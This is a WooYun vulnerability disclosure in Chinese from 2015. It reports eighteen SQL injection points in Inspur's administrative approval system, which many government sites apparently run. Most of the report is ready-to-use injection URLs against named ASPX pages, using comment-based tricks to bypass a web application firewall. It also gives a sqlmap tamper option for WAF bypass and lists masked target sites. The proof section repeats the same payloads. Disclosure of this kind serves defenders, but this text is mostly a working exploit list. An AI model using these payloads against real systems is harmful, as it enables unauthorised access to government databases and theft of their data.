浪潮行政审批系统十八处注入漏洞打包

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128477

漏洞标题：浪潮行政审批系统十八处注入漏洞打包

漏洞作者：路人甲

提交时间：2015-07-25 10:49

修复时间：2015-10-25 20:56

公开时间：2015-10-25 20:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-25：细节已通知厂商并且等待厂商处理中
2015-07-27： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-07-30：细节向第三方安全合作伙伴开放
2015-09-20：细节向核心白帽子及相关领域专家公开
2015-09-30：细节向普通白帽子公开
2015-10-10：细节向实习白帽子公开
2015-10-25：细节向公众公开

简要描述：

可绕过WAF；最困难的就是每个注入都演示一遍

详细说明：

浪潮集团我就不用多说了；很有名的！用浪潮审批系统的政府多的Google也搜不完，开发的行政审批系统存在多个注入漏洞！这里就降12处漏洞打包咯~
SQLMAP可以加载：--tamper=space2comment 绕过WAF进行注入

SQL Injection:

1、/Login/Log.aspx?loginname=%27/**/and/**/1=char(@@version)/**/-- 
2、/Bulletin/BusinessView.aspx?infoflowId=00003%27/**/and/**/1=char(@@version)/**/-- 
3、/ViewSource/SrcWorkProgram.aspx?infoflowId=00003%27/**/and/**/1=char(@@version)/**/-- 
4、/Bulletin/ColumnList.aspx?LanMuId=%27/**/and/**/1=char(@@version)/**/-- 
5、/OnlineQuery/GetFlowItem.aspx?DeptId=%27/**/and/**/1=char(@@version)/**/-- 
6、/ViewSource/SrcFormList.aspx?listType=&infoflowId=00003%27/**/and/**/1=char(@@servername)/**/--&SerailNO=
7、/ViewSource/FujianDownLoad.aspx?Id=1/**/and/**/1=char(@@version)/**/--
8、/ViewSource/SrcNotice.aspx?infoflowId=00003%27/**/and/**/1=char(@@version)/**/--  
9、/Bulletin/QAList.aspx?infoflowId=1'/**/and/**/1=char(user)/**/--&AspxAutoDetectCookieSupport=1
10、//Bulletin/PolicyDownLoad.aspx?ID=1'
11、/Bulletin/PolicyList.aspx?infoflowId=00003'/**/and/**/1=char(@@version)/**/--&AspxAutoDetectCookieSupport=1
12、/login/TransactList.aspx?ItemName=1'/**/and/**/1=char(@@version)/**/--
13、/Broadcast/displayNewsPic.aspx?id=00357'/**/and/**/1=char(@@version)/**/--
14、/Bulletin/DocmentDownload.aspx?ID=00247'/**/and/**/1=char(db_name())/**/--
15、/LeaderMail/MailDetail.aspx?QueryId=11'/**/and/**/1=char(@@servername)/**/--
16、/ViewSource/SrcPrintList.aspx?SerailNO='/**/and/**/1=char(@@servername)/**/--
17、/Business/OfflineDownload.aspx?formId=BBQB'/**/and/**/1=char(@@servername)/**/--&filetype=html&infoflowId=00263
18、/ViewSource/ProExamineView.aspx?ActivityInstanceId=&ActivitySchemeGuid=9a0b1f9e-d564-4ec9-945f-600b5a4dd2ed'/**/and/**/1=char(user)/**/--&ExId=00280  这个要存在的ActivitySchemeGuid

Case:

http://**.**.**.**/ 
http://**.**.**.**:8888/
http://**.**.**.**/  
**.**.**.**:8001/
http://**.**.**.**/
http://**.**.**.**/   
http://**.**.**.**/ 
http://**.**.**.**/
http://**.**.**.**/   
http://**.**.**.**/   
http://**.**.**.**/  
http://**.**.**.**/
http://**.**.**.**/  
...等等

漏洞证明：

14处证明：

1、/Login/Log.aspx?loginname=%27/**/and/**/1=char(@@version)/**/-- 



2、/Bulletin/BusinessView.aspx?infoflowId=00003%27/**/and/**/1=char(@@version)/**/-- 





3、/ViewSource/SrcWorkProgram.aspx?infoflowId=00003%27/**/and/**/1=char(@@servername)/**/-- 





4、/Bulletin/ColumnList.aspx?LanMuId=%27/**/and/**/1=char(@@version)/**/-- 





5、/OnlineQuery/GetFlowItem.aspx?DeptId=%27/**/and/**/1=char(@@version)/**/--





6、/ViewSource/SrcFormList.aspx?listType=&infoflowId=00003%27/**/and/**/1=char(@@servername)/**/--&SerailNO=





7、/ViewSource/FujianDownLoad.aspx?Id=1/**/and/**/1=char(@@version)/**/--





8、/ViewSource/SrcNotice.aspx?infoflowId=00003%27/**/and/**/1=char(@@version)/**/--  





9、/Bulletin/QAList.aspx?infoflowId=1'/**/and/**/1=char(user)/**/--&AspxAutoDetectCookieSupport=1





10、/Bulletin/PolicyDownLoad.aspx?ID=1' 这个还没构造出来但是是存在的





11、/Bulletin/PolicyList.aspx?infoflowId=00003'/**/and/**/1=char(@@version)/**/--&AspxAutoDetectCookieSupport=1





12、/login/TransactList.aspx?ItemName=1'/**/and/**/1=char(@@version)/**/--





13、/Broadcast/displayNewsPic.aspx?id=00357'/**/and/**/1=char(@@version)/**/--





14、/Bulletin/DocmentDownload.aspx?ID=00247'/**/and/**/1=char(db_name())/**/--





15、/LeaderMail/MailDetail.aspx?QueryId=11'/**/and/**/1=char(@@servername)/**/--





16、/ViewSource/SrcPrintList.aspx?SerailNO='/**/and/**/1=char(@@servername)/**/--





17、/Business/OfflineDownload.aspx?formId=BBQB'/**/and/**/1=char(@@servername)/**/--&filetype=html&infoflowId=00263





18、**.**.**.**:8001/ViewSource/ProExamineView.aspx?ActivityInstanceId=&ActivitySchemeGuid=9a0b1f9e-d564-4ec9-945f-600b5a4dd2ed'/**/and/**/1=char(user)/**/--&ExId=00280